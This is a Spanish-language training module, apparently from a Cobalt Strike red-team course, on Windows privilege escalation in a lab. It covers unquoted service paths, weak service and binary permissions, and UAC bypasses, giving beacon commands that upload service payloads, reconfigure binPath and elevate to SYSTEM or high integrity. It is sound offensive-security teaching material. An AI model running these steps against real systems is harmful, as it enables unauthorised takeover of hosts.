Saltar a contenido

Host Privilege Escalation

Host Privilege Escalation

La elevación de privilegios en el host nos permite escalar privilegios desde un usuario estándar hasta el nivel de Administrator. No es un paso necesario, ya que veremos en módulos posteriores cómo es posible obtener credenciales privilegiadas y moverse lateralmente en el dominio sin necesidad de realizar "priv esc" primero.

Sin embargo, los privilegios elevados pueden proporcionar una ventaja táctica al permitirte aprovechar algunas capacidades adicionales. Por ejemplo, realizar un volcado de credenciales con Mimikatz, instalar persistencia sigilosa o manipular la configuración del host, como el firewall.

Siguiendo el mantra del "principio de mínimo privilegio" (principle of least privilege), la elevación de privilegios solo debe buscarse si proporciona un medio para alcanzar tu objetivo, y no algo que hagas "porque sí". Explotar una vulnerabilidad de elevación de privilegios ofrece a los defensores puntos de datos adicionales para detectar tu presencia. Es un cálculo de riesgo versus recompensa que debes realizar.

Los métodos comunes para la elevación de privilegios incluyen configuraciones erróneas del sistema operativo o software de terceros, así como parches faltantes. SharpUp puede enumerar el host en busca de cualquier oportunidad basada en configuraciones erróneas.


Windows Services

Un "service" de Windows es un tipo especial de aplicación que generalmente se inicia automáticamente cuando la computadora arranca. Los servicios se utilizan para iniciar y gestionar funcionalidades centrales de Windows como Windows Defender, Windows Firewall, Windows Update y más. Las aplicaciones de terceros también pueden instalar un Windows Service para gestionar cómo y cuándo se ejecutan.

Puedes ver los servicios instalados en una máquina abriendo services.msc, o mediante la herramienta de línea de comandos sc.

C:\>sc query

SERVICE_NAME: Appinfo
DISPLAY_NAME: Application Information
        TYPE               : 30  WIN32
        STATE              : 4  RUNNING
                                (STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x0

SERVICE_NAME: AudioEndpointBuilder
DISPLAY_NAME: Windows Audio Endpoint Builder
        TYPE               : 30  WIN32
        STATE              : 4  RUNNING
                                (STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x0

Y el cmdlet de PowerShell Get-Service.

PS C:\> Get-Service | fl

Name                : AJRouter
DisplayName         : AllJoyn Router Service
Status              : Stopped
DependentServices   : {}
ServicesDependedOn  : {}
CanPauseAndContinue : False
CanShutdown         : False
CanStop             : False
ServiceType         : Win32ShareProcess

Name                : ALG
DisplayName         : Application Layer Gateway Service
Status              : Stopped
DependentServices   : {}
ServicesDependedOn  : {}
CanPauseAndContinue : False
CanShutdown         : False
CanStop             : False
ServiceType         : Win32OwnProcess

Un servicio tiene varias propiedades a las que podríamos querer prestar atención:

Binary Path

Esta es la ruta donde se encuentra el ejecutable real (.exe) para el servicio. Los servicios de Windows suelen estar en C:\Windows\system32 y los de terceros en C:\Program Files / C:\Program Files (x86).

Startup Type

Esto dicta cuándo debe iniciarse el servicio.

  • Automatic - El servicio se inicia inmediatamente al arrancar.
  • Automatic (Delayed Start) - El servicio espera un corto período de tiempo después del arranque antes de iniciarse (principalmente una opción heredada para ayudar a cargar el escritorio más rápido).
  • Manual - El servicio solo se iniciará cuando se solicite específicamente.
  • Disabled - El servicio está deshabilitado y no se ejecutará.

Service Status

Este es el estado actual del servicio.

  • Running - El servicio está en ejecución.
  • Stopped - El servicio no está en ejecución.
  • StartPending - Se ha solicitado que el servicio se inicie y está ejecutando su procedimiento de inicio.
  • StopPending - Se ha solicitado que el servicio se detenga y está ejecutando su procedimiento de apagado.

Log On As

La cuenta de usuario con la que está configurado el servicio para ejecutarse.

Esto podría ser una cuenta de dominio o local. Es muy común que estos servicios se ejecuten como cuentas altamente privilegiadas, incluso administradores de dominio, o como local system. Es por esto que los servicios pueden ser un objetivo atractivo tanto para escalación de privilegios locales como de dominio.

Dependants & Dependencies

Estos son los servicios de los que el servicio actual depende para ejecutarse, o los servicios que dependen de este servicio para funcionar. Esta información es principalmente importante para entender el impacto potencial de una manipulación.

Al igual que archivos y carpetas, los servicios en sí mismos (no solo el .exe) tienen permisos asignados. Esto controla qué usuarios pueden modificar, iniciar o detener el servicio. Algunos servicios altamente sensibles como Windows Defender no pueden ser detenidos, ni siquiera por administradores. Otros servicios pueden tener permisos mucho más débiles que permitan a usuarios estándar modificarlos para escalación de privilegios.

Después de que un servicio ha sido manipulado para desencadenar una escalación de privilegios, necesita ser reiniciado (o iniciado si ya estaba detenido). Habrá casos donde esto se pueda hacer con herramientas de administración, si tienes los permisos requeridos. En otros casos, tendrás que depender de un reinicio.

OPSEC

Restaura la configuración del servicio una vez que hayas terminado. Asegúrate de no interrumpir servicios críticos para el negocio, así que busca permiso antes de explotar este tipo de vulnerabilidades.


Unquoted Service Paths

Un unquoted service path es cuando la ruta hacia el binario de un servicio no está envuelta en comillas. ¿Por qué es un problema? Por sí solo, no lo es, pero bajo condiciones específicas puede llevar a una elevación de privilegios.

WMI se puede usar para obtener una lista de todos los servicios y la ruta hacia sus ejecutables. Aquí hay algunos ejemplos:

beacon> run wmic service get name, pathname

Name                    PathName
ALG                     C:\Windows\System32\alg.exe
AppVClient              C:\Windows\system32\AppVClient.exe
Sense                   "C:\Program Files\Windows Defender Advanced Threat Protection\MsSense.exe"
[...snip...]
VulnService1            C:\Program Files\Vulnerable Services\Service 1.exe

Podemos ver que las rutas para ALG y AppVClient no están entre comillas, pero la ruta para Sense sí lo está. La diferencia es que esta última ruta tiene espacios en ella. VulnService1 tiene espacios en la ruta y además no está entre comillas; esta es la condición #1 para la explotación.

Cuando Windows intenta leer la ruta hacia este ejecutable, interpreta el espacio como un terminador. Entonces, intentará ejecutar lo siguiente (en orden):

  1. C:\Program.exe
  2. C:\Program Files\Vulnerable.exe
  3. C:\Program Files\Vulnerable Services\Service.exe

Si podemos colocar un binario en cualquiera de estas rutas, el servicio lo ejecutará antes que el original. Por supuesto, no hay garantía de que tengamos permisos para escribir en alguna de ellas; esta es la condición #2.

El cmdlet de PowerShell Get-Acl mostrará los permisos de varios objetos (incluyendo archivos y directorios).

beacon> powershell Get-Acl -Path "C:\Program Files\Vulnerable Services" | fl

Path   : Microsoft.PowerShell.Core\FileSystem::C:\Program Files\Vulnerable Services
Owner  : BUILTIN\Administrators
Group  : DEV\Domain Users
Access : BUILTIN\Users Allow  CreateFiles, Synchronize
         NT SERVICE\TrustedInstaller Allow  FullControl
         NT SERVICE\TrustedInstaller Allow  268435456
         NT AUTHORITY\SYSTEM Allow  FullControl
         NT AUTHORITY\SYSTEM Allow  268435456
         BUILTIN\Administrators Allow  FullControl
         BUILTIN\Administrators Allow  268435456
         BUILTIN\Users Allow  ReadAndExecute, Synchronize
         BUILTIN\Users Allow  -1610612736
         CREATOR OWNER Allow  268435456
         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  ReadAndExecute, Synchronize
         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  -1610612736
         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow  ReadAndExecute, Synchronize
         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow  -1610612736
Audit  : 
Sddl   : O:BAG:DUD:AI(A;;0x100002;;;BU)(A;ID;FA;;;S-1-5-80-956008885-3418522649-1831038044-1853292631-2271478464)(A;CII
         OID;GA;;;S-1-5-80-956008885-3418522649-1831038044-1853292631-2271478464)(A;ID;FA;;;SY)(A;OICIIOID;GA;;;SY)(A;I
         D;FA;;;BA)(A;OICIIOID;GA;;;BA)(A;ID;0x1200a9;;;BU)(A;OICIIOID;GXGR;;;BU)(A;OICIIOID;GA;;;CO)(A;ID;0x1200a9;;;A
         C)(A;OICIIOID;GXGR;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)(A;OICIIOID;GXGR;;;S-1-15-2-2)

Podemos ver en la salida que BUILTIN\Users tiene privilegios de CreateFiles en el directorio C:\Program Files\Vulnerable Services, lo que significa que podemos subir un binario malicioso para secuestrar esta ruta sin comillas.

SharpUp también listará cualquier servicio que cumpla con estas condiciones.

beacon> execute-assembly C:\Tools\SharpUp\SharpUp\bin\Release\SharpUp.exe audit UnquotedServicePath

=== SharpUp: Running Privilege Escalation Checks ===

=== Services with Unquoted Paths ===
    Service 'VulnService1' (StartMode: Automatic) has executable 'C:\Program Files\Vulnerable Services\Service 1.exe', but 'C:\Program Files\Vulnerable Services\Service' is modifable.

Los payloads para abusar de servicios deben ser binarios específicos de "servicio", porque necesitan interactuar con el Service Control Manager. Al usar la opción "Generate All Payloads", estos tendrán svc en el nombre del archivo.

Info

Recomiendo el uso de beacons TCP vinculados solo a localhost para escalaciones de privilegio.

beacon> cd C:\Program Files\Vulnerable Services
beacon> ls

 Size     Type    Last Modified         Name
 ----     ----    -------------         ----
 5kb      fil     02/23/2021 15:04:13   Service 1.exe
 5kb      fil     02/23/2021 15:04:13   Service 2.exe
 5kb      fil     02/23/2021 15:04:13   Service 3.exe

beacon> upload C:\Payloads\tcp-local_x64.svc.exe
beacon> mv tcp-local_x64.svc.exe Service.exe
beacon> ls

 Size     Type    Last Modified         Name
 ----     ----    -------------         ----
 5kb      fil     02/23/2021 15:04:13   Service 1.exe
 5kb      fil     02/23/2021 15:04:13   Service 2.exe
 5kb      fil     02/23/2021 15:04:13   Service 3.exe
 290kb    fil     03/03/2021 11:11:27   Service.exe

beacon> run sc stop VulnService1

SERVICE_NAME: VulnService1 
        TYPE               : 10  WIN32_OWN_PROCESS  
        STATE              : 3  STOP_PENDING 
                                (STOPPABLE, NOT_PAUSABLE, ACCEPTS_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x0

beacon> run sc start VulnService1

SERVICE_NAME: VulnService1 
        TYPE               : 10  WIN32_OWN_PROCESS  
        STATE              : 2  START_PENDING 
                                (NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x7d0
        PID                : 4384
        FLAGS              : 

Info

Los usuarios estándar no pueden detener o iniciar servicios por defecto, así que usualmente necesitarías esperar un reinicio del equipo. Este privilegio ha sido concedido en el laboratorio para mejorar la experiencia.

Cuando inicies el servicio, verás que su estado será START_PENDING. Si luego verificas su estado con sc query VulnService1, verás que estará STOPPED. Esto es intencional. Tampoco verás un Beacon aparecer en la interfaz automáticamente. Pero deberías ver el puerto que configuraste en tu listener TCP (en mi caso 4444) ahora escuchando en 127.0.0.1.

beacon> run netstat -anp tcp
[...snip...]
TCP    127.0.0.1:4444         0.0.0.0:0              LISTENING

El Beacon está esperando a que nos conectemos a él, lo cual hacemos con el comando connect.

beacon> connect localhost 4444
[+] established link to child beacon: 10.10.123.102

Para restaurar el servicio, simplemente borra Service.exe y reinicia el servicio.


Weak Service Permissions

Este output de SharpUp muestra que VulnService2 es "modifiable".

beacon> execute-assembly C:\Tools\SharpUp\SharpUp\bin\Release\SharpUp.exe audit ModifiableServices

=== Modifiable Services ===

    Service 'VulnService2' (State: Running, StartMode: Auto)

Sin embargo, no muestra exactamente cuáles son los permisos, por lo que necesitamos indagar un poco más. Este script de PowerShell imprimirá qué derechos sobre el servicio tenemos.

beacon> powershell-import C:\Tools\Get-ServiceAcl.ps1
beacon> powershell Get-ServiceAcl -Name VulnService2 | select -expand Access

ServiceRights     : ChangeConfig, Start, Stop
AccessControlType : AccessAllowed
IdentityReference : NT AUTHORITY\Authenticated Users
IsInherited       : False
InheritanceFlags  : None
PropagationFlags  : None

Podemos ver que todos los Authenticated Users tienen privilegios de ChangeConfig, Start y Stop sobre este servicio. Podemos abusar de estos permisos débiles cambiando la ruta binaria del servicio; así, en lugar de ejecutar C:\Program Files\Vulnerable Services\Service 2.exe, podemos hacer que ejecute algo como C:\Temp\payload.exe.

Primero - valida que la ruta actual es "C:\Program Files\Vulnerable Services\Service 2.exe" (también nota que la ruta está entre comillas).

beacon> run sc qc VulnService2
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: VulnService2
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : "C:\Program Files\Vulnerable Services\Service 2.exe"
        LOAD_ORDER_GROUP   : 
        TAG                : 0
        DISPLAY_NAME       : VulnService2
        DEPENDENCIES       : 
        SERVICE_START_NAME : LocalSystem

A continuación, sube un payload binario de servicio y reconfigura la ruta binaria en el servicio vulnerable.

beacon> mkdir C:\Temp
beacon> cd C:\Temp
beacon> upload C:\Payloads\tcp-local_x64.svc.exe

beacon> run sc config VulnService2 binPath= C:\Temp\tcp-local_x64.svc.exe
[SC] ChangeServiceConfig SUCCESS

Info

El espacio después de binPath= es intencional ya que así está documentado en la documentación de ayuda de sc.

Valida que la ruta se haya actualizado correctamente.

beacon> run sc qc VulnService2

SERVICE_NAME: Vuln-Service-2
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Temp\tcp-local_x64.svc.exe
        LOAD_ORDER_GROUP   : 
        TAG                : 0
        DISPLAY_NAME       : VulnService2
        DEPENDENCIES       : 
        SERVICE_START_NAME : LocalSystem

Dado que el servicio se encuentra actualmente en ejecución (como se puede ver con sc query VulnService2), debemos detenerlo y luego iniciarlo nuevamente para ejecutar nuestro binario malicioso.

beacon> run sc stop VulnService2
beacon> run sc start VulnService2

beacon> connect localhost 4444
[+] established link to child beacon: 10.10.123.102

Para restaurar la ruta binaria anterior:

beacon> run sc config VulnService2 binPath= \""C:\Program Files\Vulnerable Services\Service 2.exe"\"
[SC] ChangeServiceConfig SUCCESS

El conjunto adicional de comillas escapadas es necesario para asegurar que la ruta permanezca completamente entre comillas; de lo contrario, podrías introducir una nueva vulnerabilidad de ruta de servicio sin comillas.


Weak Service Binary Permissions

Esta es una ligera variación de la vulnerabilidad anterior, pero en lugar de que los permisos débiles estén en el servicio, están en el binario del servicio mismo.

beacon> powershell Get-Acl -Path "C:\Program Files\Vulnerable Services\Service 3.exe" | fl

Path   : Microsoft.PowerShell.Core\FileSystem::C:\Program Files\Vulnerable Services\Service 3.exe
Owner  : BUILTIN\Administrators
Group  : DEV\Domain Users
Access : BUILTIN\Users Allow  Modify, Synchronize
         NT AUTHORITY\SYSTEM Allow  FullControl
         BUILTIN\Administrators Allow  FullControl
         BUILTIN\Users Allow  ReadAndExecute, Synchronize
         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  ReadAndExecute, Synchronize
         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow  ReadAndExecute, Synchronize
Audit  : 
Sddl   : O:BAG:DUD:AI(A;;0x1301bf;;;BU)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;AC)(A;ID;0x1200
         a9;;;S-1-15-2-2)

Este output muestra que BUILTIN\Users tiene privilegios de Modify sobre Service 3.exe. Esto nos permite sobrescribir el binario con otra cosa (asegúrate de hacer una copia de respaldo primero).

beacon> download Service 3.exe
[*] started download of C:\Program Files\Vuln Services\Service 3.exe (5120 bytes)
[*] download of Service 3.exe is complete

Haz una copia de tu payload mientras lo renombras como Service 3.exe.

PS C:\Payloads> copy "tcp-local_x64.svc.exe" "Service 3.exe"

Luego intenta subirlo.

beacon> upload C:\Payloads\Service 3.exe
[-] could not upload file: 32 - ERROR_SHARING_VIOLATION

Info

Esto parece un error ambiguo, pero significa que el archivo ya está en uso. Esto tiene sentido, ya que el servicio está en ejecución.

C:\>net helpmsg 32
The process cannot access the file because it is being used by another process.
beacon> run sc stop VulnService3
beacon> upload C:\Payloads\Service 3.exe
beacon> ls
[*] Listing: C:\Program Files\Vuln Services\

 Size     Type    Last Modified         Name
 ----     ----    -------------         ----
 5kb      fil     02/23/2021 15:04:13   Service 1.exe
 5kb      fil     02/23/2021 15:04:13   Service 2.exe
 290kb    fil     03/03/2021 11:38:24   Service 3.exe

beacon> run sc start VulnService3
beacon> connect localhost 4444
[+] established link to child beacon: 10.10.123.102

UAC Bypasses

User Account Control (UAC) es una tecnología que existe en Windows y que obliga a las aplicaciones a solicitar consentimiento cuando requieren un token de acceso administrativo. Bob es un administrador local en Workstation 2, pero si abrimos un Command Prompt e intentamos agregar un nuevo usuario local, obtenemos un acceso denegado. Esta instancia de cmd.exe se está ejecutando en "medium integrity".

C:\Users\bfarmer>net user hacker Passw0rd! /add
System error 5 has occurred.

Access is denied.

C:\Users\bfarmer>whoami /groups

Mandatory Label\Medium Mandatory Level

En su lugar, lo que debemos hacer es hacer clic derecho y seleccionar "Run as administrator", lo que hará que aparezca un aviso de UAC.

Solo después de hacer clic en Yes, el Command Prompt tendrá privilegios suficientes para realizar cambios en la configuración del sistema, ya que ahora se ejecutará en "high integrity".

C:\Windows\system32>whoami /groups

Mandatory Label\High Mandatory Level

Un "bypass" de UAC es una técnica que permite a un proceso en medium integrity elevarse a sí mismo o generar un nuevo proceso en high integrity, sin solicitar el consentimiento del usuario. Estar en high integrity es importante para los atacantes porque se requiere para diversas acciones de post-explotación, como el volcado de credenciales.

Beacon tiene algunos UAC bypasses integrados y algunos más que se proporcionan a través del Elevate Kit (esto ya ha sido pre-cargado en Cobalt Strike para tu conveniencia). Estos están expuestos mediante el comando elevate.

beacon> elevate uac-schtasks tcp-local
[*] Tasked Beacon to run windows/beacon_bind_tcp (127.0.0.1:4444) in a high integrity context
[+] established link to child beacon: 10.10.123.102